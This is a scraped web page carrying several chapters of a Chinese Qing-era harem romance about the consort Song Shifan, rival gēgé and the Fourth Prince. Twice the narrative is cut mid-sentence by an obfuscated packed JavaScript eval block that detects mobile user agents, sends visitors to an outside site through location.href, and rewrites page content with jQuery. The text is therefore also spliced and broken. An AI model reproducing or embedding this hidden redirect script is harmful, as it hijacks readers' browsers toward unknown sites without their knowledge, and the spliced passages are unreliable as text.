“武妹妹今日来得倒是早,怎么也不提醒一下跟你住在一块儿的郭妹妹呀,这若是误了请安的时辰,福晋怪罪下来可怎么办呢,武妹妹怕不是故意的吧?” 最后这句话,李格格说得恶意满满,由此可见,李格格绝对是有意在奚落武格格呢。 现下府上谁还不知道昨个儿晚上四爷是宿在了郭格格那里,李格格这话显然就是要叫武格格难堪的。 毕竟从前郭格格和武格格住在一个院子里,二人又不管干什么都是同进同出的,偏偏二人一个得宠一个被冷落,任谁看了都会在心里猜测一下她们之间的关系。 现下武格格和郭格格两人又掉了个儿,原本不得宠的郭格格将四爷留了下来,一墙之隔的武格格倒是独守空闺了。 而且,李格格早就对先前四爷偏宠武格格觉得不满意了,这会儿虽然也不喜欢四爷宠幸郭格格,可如今难得抓住机会,当然要好好嘲讽一下武格格。 可武格格却一点儿生气的意思都没表现出来,面上仍然是笑吟吟的,带着她特有的天真活泼,还不忘拿话去堵李格格的嘴。 “李姐姐还不知道吗?昨个儿主子爷去看望郭姐姐了呢,郭姐姐今天想必是要伺候主子爷的,就算来迟了,像咱们福晋那样宽容的性子,肯定也是不会怪罪郭姐姐的,毕竟把主子爷伺候好才是咱们的本分,李姐姐真是多虑了,倒是我忘了,如今李姐姐有孕在身,不能常常陪伴四爷,有些事情不知道也是常事...” 李格格听了这话脸色瞬间难看起来。 李格格原以为武格格会嫉妒郭格格,继而才挑起事端,可没想到武格格竟直接把郭格格伺候四爷的事拿出来说,还笑话她有孕不能侍寝。 可格格们伺候四爷确实是天经地义的事,李格格奚落武格格不成反倒是自己被捅了心窝子,只得在心里暗恨武氏狐媚,这样恬不知耻的话都能挂在嘴边说。 宋时繁在一旁看得有趣,李格格想装不知道,打算挑拨武格格和郭格格,可武格格却偏偏把话捅出来说到了明面上,不仅不上当,还反将了李格格一军,倒气得李格格说不出话来。 不过想笑归想笑,宋时繁却对武格格又多了一层重视,经过头先几次跟武格格打交道的经历来看,这武格格怎么都是个不容小觑的,到底是名门贵女,从小受到的关于后宅间的教育,是宋时繁不能比的。 正思索间,正院里的人出来迎了,是福晋身边的芸香。 “劳驾各位久等了,福晋身子才大安,早上起得晚了些,诸位随我进去吧。”芸香先是对众人行了一礼,然后才客气地解释了一句。 几人忙称不敢,随着芸香进去了,到屋里后又等了一会儿,福晋才出现。 等福晋坐下以后,众人先朝着福晋正经请了安:“奴才们给福晋请安,福晋吉祥。” 福晋也没有为难人,直接叫了起,又给她们赐座,紧接着便是请安的常规项目:大家在一起寒暄一下。 借着坐到椅子上的动作,宋时繁悄悄打量了一番福晋,就瞧着福晋的面色倒是已经恢复如常了,想必前段时间只是因为累着了,不过也侧面反应了进宫拜年还真不是一般人能干的事,幸好她不用进宫。 宋时繁正胡思乱想间,福晋发话了,不过不是对她,是对站着的侍妾们。 “吴嬷嬷同你们说了吧?往后你们就跟着格格们一块来正院请安,你们都是伺候四爷的,那就是姐妹了,难得大家有缘分聚在一块,平日里没事也要多相处相处。”福晋抿了口茶,慢悠悠道。 这话一出,侍妾们眼里都溢出些欣喜来,尤其是安秀秀,几乎要喜形于色了。 毕竟福晋叫她们来请安,就是正经把她们这些侍妾当个人看了,说不定请安的时候还有机会能碰上四爷呢,要是能在四爷面前挂上号,那才是受益无穷呢。 反正这事不管怎么看,对她们来说都是一件好事。 可格格们的脸色却纷纷不好看起来,这算什么事? 虽说大家都是妾室,可妾也是分三六九等的,尤其是皇室里的妾,若是成了侧福晋,也是要上玉牒的,和福晋也不差什么了。 是,她们现在只是格格,真要论起来也不值当什么,但福晋方才那话不是存心膈应人吗?什么叫都是姐妹?谁跟她们是姐妹啊! 当然,这些人里不包括宋时繁,她就端着茶在一旁看热闹而已,总之她不掺和这事就是了。 不过,这倒是也便于宋时繁观察场上的人。 首先最沉不住气的就是李格格,福晋话音刚落,她就朝着侍妾们的方向用鼻孔出气,还轻轻哼了一声。 就连一向八面玲珑的武格格听了福晋的话,脸上都露出些倨傲来,显然也是有些不满的。 宋时繁眨了眨眼睛,她是知道清朝等级制度还是严格显的,尤其是穿来发现自己就是个小妾的时候她也挺绝望的,可没想到这小妾和小妾之间竟然还有鄙视链,这可真是...有些让人无话可说了。 其实要宋时繁自己说,反正大家都是没人权的,谁看不起谁呢。 可显然别人不这么想,只听李格格率先朝福晋发起了攻击。 “福晋这话奴才倒是有些听不明白了,虽说都是伺候四爷的,可就算是太监、丫鬟那些个奴才秧子们也要分三六九等出来呢,怎么到了福晋这儿,我们都成一样的人了?不知道的还只当福晋是个多宽和的呢,竟跟我们这些妾室们称起姐妹来。” 李格格这一番话委实有些难听了,不光曲解了福晋的意思,还直接叫福晋没了脸面。 福晋气得将茶盅重重搁在了小几上,见李氏仍梗着脖子,福晋又道:“李氏你放肆!” 李格格这才心不甘情不愿地给福晋赔罪:“是奴才言行无状了,还请福晋赎罪。”嘴上虽是这么说,可李格格行礼的时候,手却摸上了自己的肚子,这是什么意思,已经不言而明了。 福晋被李格格气得眉心直跳,这李氏,仗着有孕放肆已经不是一回两回了,偏府上孩子少,有身孕就是个金贵的,还当真是拿她没办法,叫福晋怎么能不生气? 一旁的宋时繁却十分惊诧于李格格的大胆。 天,就算怀孕了,十月怀胎也是有时间限制的啊,现在就急吼吼跟福晋叫上板了?她真不知道这李格格到底是聪明还是蠢了... 福晋忍了又忍才将这口气咽下去:“念在你有身孕的份上,只罚你两个月的月例银子,另外,回去以后闭门思过吧。” 李格格却有些不以为然,罚钱她没在怕的,至于禁足嘛,到时候直接找四爷求情,她不信四爷发了话,福晋还能一直关着她。 而且李格格好歹得宠了一段时间,对于四爷她还是有些了解的。 就福晋现在急着将侍妾送到四爷床上,还让她们这些格格跟侍妾称姐道妹的,说出去,四爷只有生气的份。 要知道四爷可是十分重视规矩礼仪的一个人,这种事他不会干,自然也见不得别人干,到底福晋刚入府没多久,还不甚了解四爷呢,李格格得意洋洋地想道。 罚了李格格后,福晋心气儿总算顺了些,又听武格格谈起近日针线房新做出来的花样子,一时间没人再提及刚刚的事了,气氛还算和谐。 这边,宋时繁坐在位置上装鹌鹑,一边胡思乱想,一边听着福晋说些场面上的话,本来还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得了赏赐的郭格格倒是没什么特别的反应,只让丫鬟接了以后,便谢恩坐下了。 一旁的宋时繁打眼瞧着福晋发下来的赏赐,正琢磨着回去以后要将送给郭格格的贺礼再添上两分,忽然听见李怼怼又开口说话了。 没错,宋时繁在心里头叫李格格为李怼怼,毕竟她每次见到李格格的时候,李格格要么在怼人,要么就在准备怼人的路上,这个称呼也着实是很配她。 “也不知道郭妹妹是有多大的福气呢,请安来迟了不说,福晋不仅不责罚,竟然还要赏赐,赶明儿奴才也要去沾沾郭妹妹的福气,叫福晋多喜欢奴才些。” 一出口就是一顿阴阳怪气,不愧是李怼怼,宋时繁都想在心里给李格格竖大拇指了。 郭格格还没说话,福晋就先沉着脸道:“郭氏曾被永和宫里的德妃娘娘赞过是个有福气的,可见不假,李氏,你也确实应该多和郭氏学一学什么叫谦和有礼,说不定沾了郭氏的光,你也能早日为府里添个丁,到时我和主子爷都喜欢你。” 这话说出来纯是为了恶心李格格,当即就叫李格格没法接了,李格格的脸也跟着青一阵白一阵,很是丰富多彩。 看来福晋到底还没咽下刚刚的那口气,这边李格格刚准备蹦哒,就被福晋给按下去了。 今日份的请安总算是有惊无险过去了。 不过,宋时繁每次来请安的时候几乎都能看到一场大戏,这也算是为她无聊的后宅生活增添了几分调味料吧,毕竟,身处在古代的后院里,还真是无聊透顶了呢。 宋时繁一边想,一边踏出了正院,就见此时,天已经大亮了,是冬日里难得有太阳的天气。 38. 善意提醒 出了正院,宋时繁就听见武格格笑吟吟道:“今儿难得有这样的好天气,姐姐们要一同去园子里逛逛吗?” 宋时繁倒是无所谓去不去,只是武格格既然邀请了,她也不好直接拂了武格格的面子,就当是下班后同事之间联络联络感情吧,宋时繁如是想道。 于是,宋时繁笑着点了点头:“现下还早,大格格约莫睡着呢,我回去了照样是没事可做,去逛逛也无妨。” 郭格格虽然没说去或者不去,但她一直沉默地跟在众人身后,大家也都习惯了她寡言少语的样子,便默认她是要一同去了。 李格格本想直接离开,可这会子见众人都应下了武格格的邀约,一时间还真有些骑虎难下。 宋时繁瞧出李格格脸上的别扭之情,心下未免觉得好笑。 思索片刻后,宋时繁对李格格道:“李妹妹也去吧,你如今是有身子的人呢,趁着天气好多走动走动对肚子里的孩子也好,我当初怀大格格的时候,身子也懒怠得很,太医当时还特意嘱咐说不能一味躺着,要多动动呢。” 李格格见有了台阶下,而且宋时繁说得确实有理,便轻点了点下巴道:“正好无事,那就一同去吧。” 几人说定,当下脚步也不着急了,只一边说着话,一边慢慢朝着花园的方向走。 “从前在闺阁中,没事做的时候常约了姐妹们一起赏赏花看看景,只是进了府上之后倒是一直没机会同众位姐妹们逛逛。”武格格不无遗憾地道,眼神里还带着些不易察觉的向往。 “武妹妹刚入府不久,不习惯也是有的。”李格格难得没有话里带刺,反而还安慰了武格格一句。 武格格笑道:“是呢,咱们不比李姐姐和宋姐姐陪在主子爷身边久,从前也一直想亲近姐姐们,只是深宅内院的,总也没什么机会碰上,郭姐姐你说是吧?” 郭格格闻言也点了点头,羞涩道:“是,姐姐们入府早,比我们懂得都多,有些事要多赖姐姐们教导的。” 李格格嘴角微微上扬:“教导谈不上,咱们都是一样的人,不过是我跟宋姐姐走运,比你们陪伴主子爷的时间长了些,而且主子爷宠爱与否跟时间长短也无关,如今你们都过了明路了,往后的日子就是各凭本事罢了。” 虽然嘴上这么说,可李格格的话语里仍是带了些得意。 不过,也怪不得李格格得意,她确实是自打进府以后,在四爷那里就挂了名号的,到如今也是一直荣宠不衰。 而且要说进府早,眼下的几位格格谁也比不上原先的宋氏。 原先的宋氏可是四爷的第一个格格,可惜因为生孩子难产早早去了,否则也轮不上宋时繁站在这里,所以,这各人的命运啊,也是难说。 想到这具身体的原主人宋氏,宋时繁一时间有些感慨,便一直没出声。 可她这幅模样落到了旁人眼中就是被李格格的话给刺激到了。 说来也是,这府上要是真按着进府时间长短论资排辈,那谁都没有宋氏早,可事实上却不是这么算的,府里人都精怪得很,自然是谁得了主子爷的青眼谁就是人上人。 所以李格格这话这要是细纠起来,还真有那么点儿笑话宋时繁的意思在里头。 可惜宋时繁本身就不在意这些,她自己也没往那方面想,不过架不住别人以为她在意,而且她方才微微出神的模样也由不得人不多想。 一旁的李格格可不管自己说出来的话戳不戳人,反正只要是四爷的妾室们,不管是得宠还是不得宠,她一个都不喜欢,这会子见宋时繁有些失魂落魄的,她心里还暗自得意呢。 反倒是郭格格有些内疚,还以为是自己说错话了,毕竟这事是由她起得头,郭格格生怕自己得罪人,手里的帕子都捏皱了,只好将头低了下去,也不敢再开口了。 而武格格的反应就有些令人琢磨不透了。 她瞧着宋时繁不说话,只当宋时繁是真被捅到了心窝子,眼里飞速闪过一抹笑意,随即又很快消失不见。 说话间,众人就走到了花园,早有小太监们将花园里的凉亭布置了一番。 只见亭子里都挂上了纱帘,亭子的四角处各放了一个小火炉供她们取暖,太监们还贴心地在圆凳上搁了软垫子,总之绝对不会冻着她们这些人就是了。 等宋时繁坐下以后就瞧见桌上俨然已经沏好了茶,并着几样佐茶的点心,均是颜色鲜亮好看的,倒是看得人很有食欲。 于是,宋时繁先伸手拿了块点心尝了尝,吃到嘴里发现是枣花酥,正合宋时繁的口味。 “这个味儿不错,你们也尝尝。”宋时繁不好意思自己一个人吃,便客气了一句。 武格格闻言也捡了一块轻轻咬了一口:“宋姐姐好品味,这个配茶吃正好呢。” 李格格却没动:“若是从前便也罢了,只我现下有孕,如今倒不大吃得惯这些甜腻腻的点心了。” 武格格带着些疑惑问道:“难不成怀孕了口味也会跟着改吗?” “这倒是不稀奇,怀孕以后的人鼻子灵敏些,闻不得那些味道,再碰上那反应大的,便是胃口也要跟着改了。”宋时繁跟着解释了一句。 李格格也开口道:“是呢,我反应确实大些,几乎什么都吃不下。” 宋时繁闻言抿了一口茶,安慰李格格:“等月份大起来许是就好了。” 武格格见状眨了眨眼睛:“原来怀孕这么辛苦啊…” 李格格笑了笑:“你往后也要有这么一遭,这会儿就怕了?不过,如今就这么闹腾,说不定到时候孩子生出来也能活泼些。” 说到这里,李格格又下意识摸了摸自己的肚子,脸上显露出些慈爱来。 宋时繁余光瞧见李格格的动作,放下茶杯想了想才道:“说起这个我倒想起一件事来,从前我额娘说过,小孩子在肚子里的时候也是能感觉到自己额娘的,据说咱们在外面说话什么的,小孩子都能听见呢,所以民间也有个说法,怀孕的时候不能经常摸肚子,因为小孩子感觉到了就会跟着手动,要是小孩儿位置不对,做额娘的要跟着受罪呢。” 李格格听见这话唬了一跳,手上的动作都顿住了,惊疑不定地问道:“真的?” “这只是我从前在家里的时候胡乱听大人说的,我也不知道真假,只是生孩子本就凶险,咱们还是要加点儿小心 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宋时繁闻言倒没有什么太大的反应,只淡淡道:“武妹妹说得这话我却是听不懂了,不过是咱们姐妹间话话家常罢了,我也只是拿了从前听来的话同妹妹们说个趣儿,哪里有武妹妹说得这样严重。” 武格格见宋时繁不肯接茬,自己也觉得没意思,便不再提了,只自顾自喝完一盏茶后,也同宋时繁告辞了,走得时候还看了一眼郭格格,不过郭格格却没动作。 最后只剩下郭格格和宋时繁,这倒是令宋时繁有些意外,毕竟郭格格向来是跟武格格一道的。 许是宋时繁脸上的疑惑过于明显了,郭格格见状腼腆笑了笑:“宋姐姐是个好人呢。” 宋时繁一愣,想不到郭格格竟突然来了这么一句。 “算不上什么好不好的,只是随口一说罢了。”被郭格格一双亮晶晶的眼睛盯着,宋时繁有些不好意思。 二人又坐了会儿,直到竹苓提醒宋时繁大格格该喝奶了,宋时繁这才和郭格格分开来,打算回自己的小院。 路上,竹苓犹豫再三还是开口问宋时繁:“格格,您方才…” “你也觉得我不该说那样的话?”宋时繁歪着头瞧竹苓。 竹苓面带忧虑:“李格格不是个好相与的,格格您就算提醒了她,她也不一定会领情的,怕是还会怪您。” 宋时繁无所谓道:“我知道方才是自找麻烦了,可已经瞧见了,什么都不说我也不舒服,再说了,我也不是求她什么感激,就算她日后真地怪上我,那便怪吧。” 而且既然她已经把话说出去了,那就不去想什么后果了。 竹苓听了这话知道自家格格心里有数,也不再多嘴了,而且她由衷觉得,自家格格这样更显得有血有肉,其实也挺好的。 等宋时繁带着竹苓回到院子里后就听曹三宝来说李格格那边请了太医,宋时繁闻言对着竹苓眨了眨眼,竹苓瞧着自家格格得意又可爱的样子,颇有些忍俊不禁。 忽然,就见白薇走了进来,先给宋时繁行了一礼:“格格,汪姑娘来了。” 宋时繁有些诧异:“她怎么会到我这儿来?” 39. 一出好戏 汪姑娘,汪秋红,孝懿仁皇后赐给四爷晓事用的侍妾,宋时繁只与她在家宴和请安的时候有过几面之缘。 她来干什么? 但人已经上门了,宋时繁也不好直接将人拒之门外,可她确实和汪秋红不太熟,于是便不想在自己的屋里见她。 思索片刻后,宋时繁对着白薇道:“我先去更衣,你让汪姑娘进来吧,带她去侧间喝茶,我等会儿就在侧间里见她。” 白薇得了吩咐便转身去外头请人了。 宋时繁则抓紧时间开始换衣服。 倒不是宋时繁矫情,只是这时候的人都讲究这个,出门亦或者是见人,在穿着打扮上都自有一套规矩,若是不遵从,便等同失礼于人前了。 宋时繁暂时还不想被别人抓住她的小辫子。 在竹苓的帮助下,宋时繁换上了一件绿色绣海棠花的夹氅衣,襟口边缘都装饰有滚边,外头则穿了一件同色坎肩。 穿戴整齐后宋时繁对着镜子检查了一番,妆容虽说还是今早去请安时的妆容,不过瞧着倒是没有失当之处,她便也不打算重新画了,只补了些口脂就差不多了。 毕竟也不好让人久等。 等宋时繁踏入侧间的时候,汪秋红已经喝上茶了。 “叫汪姑娘等久了吧?”宋时繁笑吟吟道。 汪秋红闻言忙搁下茶盅给宋时繁行礼:“奴才给宋格格请安,宋格格吉祥!” 宋时繁见状微微侧开身子避了避,嘴里还说道:“汪姑娘不比如此多礼,快坐下吧。” 二人又客套了一番,这才坐定。 宋时繁刚坐下,白薇就给宋时繁上了茶。 她便借着喝茶的功夫,悄悄打量了一下坐在下首的汪秋红。 只见她身穿一件姜黄色旗装,料子看起来倒是半新不旧的,头发却梳得十分整齐,鬓边斜插着一支由珠花缀成的步摇,长长的流苏垂落至耳畔,衬得她肌肤莹润无比,虽然五官略微普通了些,可这通身温婉的气质却叫人十分舒心。 最起码,宋时繁看着她就觉得赏心悦目。 许是宋时繁瞧着汪秋红的时间有点儿久了,倒叫她感觉到了尴尬。 汪秋红便捡了话来同宋时繁说:“宋格格这里的茶奴才喝着是极好的,” “我不懂什么茶,喝来喝去都是差不多的味儿,依我看来倒不如奶茶喝起来咸香醇厚,不过,你若是喜欢这个茶,等会儿我让白薇给你包一点儿茶叶带回去。” 汪秋红也不推辞:“多谢宋格格赏赐。” 两句话说完,气氛又尴尬下来。 确实,两个不熟的人在一块也真没什么可说的,宋时繁不知道该找什么话题,只能又指着旁边的点心道:“这是藕粉桂花糕,是膳房今日刚送来的,我吃着不错,不甜不腻的,汪姑娘也尝尝吧。” 汪秋红闻言捻起一块糕点略沾了沾嘴,随即便掀唇一笑:“宋格格这里的都是好东西呢,奴才今儿算是有福了。” 说到这里,汪秋红的脸上却露出些惆怅来。 宋时繁一看便知汪秋红怕是无事不登三宝殿了,否则态度也不会如此殷勤,又作出这幅模样来,显然是引诱自己问她呢。 既如此,宋时繁也不说话了,只自顾喝茶吃点心,等汪秋红自己憋不住了,她肯定就会说出来了。 果不其然,没多会儿,汪秋红便开了口。 “宋格格,奴才…” 宋时繁莞尔一笑:“汪姑娘有话直说好了。” 只见汪秋红站起身后朝着宋时繁盈盈一拜,然后才道:“那奴才就不扭捏了,想必宋格格也知道奴才在这府里的处境,常年见不到主子爷不说,便是比一般奴才也是不如的,奴才自知身份卑微,本不该求什么,可…” 宋时繁听见这话只微微垂下了眼眸,端起茶杯来抿了一口,却依旧没有开口。 倒不是宋时繁不想,只是这些事她还真帮不上什么忙,而且这汪秋红来得不明不白的,她也不敢轻易应承什么。 一旁的汪秋红见宋时繁不肯搭茬,眼眶当下便红了起来,两行清泪犹如断了线的珠子一般滑过脸庞。 美人一边垂泪一边继续道:“宋格格有所不知,奴才的日子实是没有盼头了,前几日奴才病了,想跟药房的人讨些药材来吃,可那起子拜高踩低的人竟丝毫不理会奴才…奴才也是没办法了,这才求到宋格格您这儿来!” “可我也并不能帮到你什么,这些事你该去求福晋,咱们福晋是个和蔼的,你去说了,她肯定会管的。” 汪秋红却可怜兮兮道:“福晋…福晋每日要忙的事这样多,奴才并不敢因为些许小事就去打扰。” 宋时繁心说哪里是不敢去打扰,分明是觉得她比福晋好利用罢了,若她真上了当去帮着汪秋红出头,倒叫她左右不是人了。 于是宋时繁仍只说:“我也真是无能无力…” 汪秋红见宋时繁不肯应声,急忙解释道:“宋格格别误会,奴才并不要争什么主子爷的宠爱,奴才只是想求一份庇护罢了!” “其实我的处境也并不比你好到哪里去,虽说我入府早,可在四爷跟前向来说不上话,你找我是真没用,还是去求福晋吧,福晋定是有办法的…” 好好跟汪秋红说根本讲不通,宋时繁只得也卖起惨来,总之她的宗旨便是劝汪秋红去找福晋,找她是没有用的,她不会应承任何事。 汪秋红被宋时繁拿话噎住了,顿了好一会才又颤巍巍道:“想来宋格格是不肯帮着奴才了,也是,宋格格到底身边有个孩子傍身呢,不像奴才身份低微,连孩子都不配养,以后也没个依靠…” 救命,这人是卖惨不成就来道德绑架人了? 不好意思,宋时繁还真不吃这一套。 于是宋时繁便将手边上的茶杯端了起来,摆出一副送客的姿态,显然是不打算继续跟汪秋红打太极了。 汪秋红却像是看不懂眼色似的,愈发哭得厉害,活像是宋时繁欠了她一样。 宋时繁简直快要疯了,为什么会有人说话做事跟自身的气质截然相反呀? 宋时繁现在想收回之前觉得汪秋红温婉的看法了,这明明就是一个难缠的绿茶本茶,比她现下手里端着的茶,味道都要浓郁些! 汪秋红却不管宋时繁是什么想法,仍哭得不行,却是打着等会儿哭着从宋时繁的院子里走出去的心思。 宋时繁见状只得叹了口气,也不能真不管她,便张口唤了白薇一声道:“白薇,去打盆水来,伺候汪姑娘擦把脸。” 却在这时,四爷来了。 四爷原本是直接去得宋时繁住着的屋子,结果却扑了个空,听说宋时繁在侧间见客,就直奔这里而来。 结果一进屋就瞧见了泪眼汪汪的汪秋红和表情十分耐人寻味的宋时繁,把四爷都给看懵了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222597|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋时繁和汪秋红见到四爷以后纷纷起身给四爷行礼。 “奴才们给主子爷请安,主子爷吉祥。” 汪秋红请安的动作就像是精心设计过得一样,福身下拜的时候腰肢摆动得格外好看,下巴还微微抬起,露出脸颊上晶莹的泪珠,好不可怜。 四爷瞧见了却没说什么,只略一抬手道:“都起吧。” 说罢,四爷走到了宋时繁的旁边坐下,还示意宋时繁也坐。 倒是宋时繁见着忽然进来的四爷,又看了看下首仍挂着两行清泪的汪秋红,一时间都不知道该做出什么样的表情了。 莫非汪秋红是一早就知道四爷要来,所以这才跑到她这儿演了一出戏? 不过仔细想想也不太可能,就四爷这神出鬼没的样子,连她自己都摸不准四爷什么时候会来,汪秋红就更不必说了。 想到这里宋时繁悄悄觑了一眼四爷,想看看四爷面上的表情。 倒是令宋时繁失望了,四爷的脸上几乎没有什么表情。 “这是怎么了?”四爷淡淡问道。 宋时繁还没来得及说话,汪秋红先唤了一声:“主子爷…” 却在叫完这一句后又不说话了,只拿一双湿漉漉的眼睛看着四爷,时不时还小心翼翼地看一眼宋时繁的方向,然后又看向四爷,眼神里好像有道不尽的委屈。 宋时繁心里都想笑了,也不知汪秋红故意作出这幅样子给谁看,噢,差点忘了,当然是给四爷看的,那她现在分配到的角色是不是那种得宠就张狂的奸妃? 可惜汪秋红选错人了,她根本也不得宠啊,有眼睛的人都能瞧得出来好吧! 思及此,宋时繁有些期待四爷的反应了。 不曾想,四爷却根本不理会汪秋红,反而对着宋时繁又问了一遍:“这是怎么了?爷问你话呢,还不快回话!” 别说宋时繁了,就连汪秋红都有些愣住了。 宋时繁只好道:“方才汪姑娘说有奴才欺负她,奴才让她去禀告福晋,福晋会替她做主的,但汪格格好像不愿意,就一个劲儿哭,奴才也正奇怪呢…” 宋时繁将方才发生的事用平铺直叙的方式说了出来。 她当然明白汪秋红的小心思,所以她也绝对不会帮着汪秋红隐瞒什么,但也不会落井下石就是了,事情是什么样她说出来就是什么样。 四爷闻言皱了皱眉头,沉声道:“有事就去禀告福晋,哭什么?” 汪秋红被四爷语气里的严厉吓了一跳,当下眼泪也不敢流了,可怜也不敢装了,忙道:“奴才只是见宋格格投缘,便想与宋格格谈谈心,不想却是搅扰了宋格格和主子爷的清净,奴才这就退下了…” 汪秋红一开始是想利用宋时繁来着,可碰巧主子爷来了她便借着机会打算叫主子爷以为自己受了欺负,兴许能求得主子爷的垂怜也说不定,毕竟她年纪也不轻了,再这样蹉跎时光下去,怕是要老死在四爷的后院里。 谁知道现在事情会变成这样,不仅没让四爷怜惜,还得罪了宋时繁,日后事情若是传出去她也成笑话了… 汪秋红心中一阵懊恼,暗叹自己怎么就沉不住气了,这么多年都熬下来了,何必急于这一时? 可事已至此她也不敢辩驳了,忙行礼退下了。 等汪秋红走后,屋子里就只剩下四爷和宋时繁了。 此时,四爷的表情却颇有些耐人寻味。 40. 自作多情的四爷 宋时繁被四爷看得有些不自在,捏了捏袖子便打算先离开。 转念一想又觉得将四爷独自一人抛下不太好,想必规矩里肯定没有丢下四爷自己走了这一条。 思索片刻后,宋时繁终是出声问道:“四爷,去屋子里坐吧?” 四爷瞧着宋时繁有些局促地同自己说话,那模样说不出得可爱,他不觉弯唇笑了笑。 方才四爷一进屋的时候,就发现了宋时繁在悄悄观察他的反应,他又想起之前几次,一有什么事儿,这小格格必定是会偷偷摸摸瞧他的。 四爷觉得好笑,心说眼前的小格格想必是顶顶喜欢他的,有旁人在的时候她都醋得很,但又不好意思说出来,这才别别扭扭偷看他。 其实,身处后院当中的女子第一就是不可以善妒,当然啦,就算谁心里有什么想法,那也没人敢在四爷的面前表现出嫉妒来。 可四爷如今瞧着宋时繁竟觉得她这样吃醋还挺有趣的,也罢,反正小格格平时都在屋里不会出去,有时候吃吃醋也是一种情趣,最起码现在四爷很喜欢她这样。 这也侧面证明了宋时繁在乎他嘛,四爷大度地想道。 殊不知四爷嘴上挂着的笑容就一直没消失过。 宋时繁还不知道四爷已经把她脑补成了个爱而不得的小可怜。 若是宋时繁知道此时四爷的脑子里在想什么,她一定要敲开四爷的脑袋让他清醒一点,她明明只是好奇四爷和这些妾室们如何相处而已! 当然,宋时繁是注定不会知道四爷的想法了。 “四爷?咱们出去吧?”宋时繁见四爷只自顾瞧地她笑,还笑得很诡异,一时有些莫名其妙,只得又委婉催促了一遍。 四爷见状轻咳了两声,然后才道:“你放心吧,爷是信你。” 他头一次对女人说这种话,颇有些不自在。 倒是宋时繁疑惑地看了四爷一眼,不明白这人为什么突然冒出这样一句话来。 但转念又想起汪格格来,想必四爷是在说刚刚的事了。 这就令宋时繁有些意外了,信她?信她什么? 难不成是信她没欺负汪秋红?这不是明眼人一看就能看出来的事吗?她欺负汪秋红图什么? 可四爷不知道宋时繁的想法,他只是发现自己说完以后,宋时繁眨了眨眼睛却没说话,便只当她是听见自己说“信她”然后就高兴傻了。 想到这里,四爷也有些不好意思,便伸手握住了宋时繁的手。 “傻站着做什么,还不快走!” 说着,四爷还故作凶狠地瞪了宋时繁一眼,然后拽着宋时繁往屋里走,宋时繁还没反应过来就被四爷带回了屋里。 进到屋子里之后,竹苓知机地给二人上了茶。 宋时繁和四爷两人便分坐在桌前,等着竹苓将茶递过来,一时间,谁也没开口说话。 宋时繁是不知道说什么。 她现在算是明白了,四爷这个人以自我为中心惯了,有时候总是想当然的。 比如现在,四爷肯定觉得她正在害羞,多解释也无益,所以还不如别说话了,免得四爷那个奇葩又胡思乱想,然后把一堆奇怪的设定往她身上套。 而四爷见宋时繁总也不开口,心里也不知道怎么办好。 毕竟从前都是后院里的女子对他示好,今天是破天荒头一次,他先对女人示好。 可他示好的对象却总也没反应,直接把四爷架在这儿了,四爷就有些摸不准该怎么办了。 于是,四爷为了缓解尴尬率先端起茶盏喝了一口。 原本只是想借着喝茶的动作,掩饰一下内心的想法。 谁曾想,四爷刚喝一口,就皱起了眉头。 不为别的,只是这个茶入口沉闷,香气也寡淡,显然跟四爷平时喝的茶是天差地别。 他又想起之前来宋时繁这里几乎喝得都是这样的茶,说不上是极差,但也绝算不上好。 突然,四爷想,宋时繁莫不是故意在他面前上这样的茶,其实是跟自己抱怨她这里没有好茶叶?想叫自己赏她? 若是这样那四爷可就高兴了,说明眼前这个傻兮兮的小格格长进了,都会拐着弯儿跟自己要东西了。 四爷当然不会因为这种事生气。 就跟方才四爷觉得宋时繁是吃汪秋红的醋了,才会悄悄看他一样,现下宋时繁要是花心思跟他讨东西,在四爷眼中,统统都是一种情趣。 四爷在喜欢一个女子的时候,还是很宽容的。 不过,四爷还真是误会了。 对于一个皇子府上的格格来说,能有这样的茶已经是不错的了,就这还是府里人看着四爷尤其疼爱大格格,常过来这边的面子上才有的呢。 至于那些不得宠的侍妾们,别说茶叶了,怕是连喝碗白水都费劲儿。 而对此丝毫不知情的四爷却开口了。 “你这个茶…”四爷只说到这里就停顿了下来,然后便用一双含笑的眼直直地瞧着宋时繁。 四爷这是打算着给宋时繁留机会开口跟他要东西呢。 宋时繁可不知道四爷在心里给自己导演了一出大戏,既然听四爷问了一句,便老实回答道:“这是待客用的茶,我平时不怎么喝,方才汪姑娘来才叫泡了这个来的。” 话音刚落,宋时繁反应过来有些不对劲了。 这不是等于变相说四爷是沾了汪秋红的光才有这个茶喝嘛,像他们这种特权阶级的人肯定听不得这种话。 思及此,宋时繁忙又找补了一句:“四爷你从前来得时候也是上这个茶给你的,我平时不爱这个…” 得,越解释越说不清楚了。 好在四爷没有跟宋时繁计较什么,倒是对于宋时繁的直白感到有些无语。 四爷扶了扶额头,才意识到他方才是自作多情了,就眼前这个小格格的脑子,显然想不到拐弯抹角讨赏赐这种事。 可宋时繁不要,架不住四爷想给。 当下四爷便道:“这个茶不好,苏培盛,你去取些我平时喝的普洱来。” 宋时繁心说这人还挺讲究,到哪里喝个茶都要这么折腾,有这来来回回送茶叶的功夫,她都要喝完了。 这却是宋时繁误会四爷的好意了。 四爷叫苏培盛送茶叶还真不是为着他自己想喝,纯粹是自己喜欢的东西想叫宋时繁也尝尝,只不过四爷不好意思说得那么直白就是了。 殊不知,四爷现在的表现就像是刚坠入爱河的毛头小子,一天要换八百个想法,还恨不得把所有好的都捧到宋时繁面前来。 可惜了,媚眼儿抛给瞎子看,宋时繁根本瞧不出四爷的小心思。 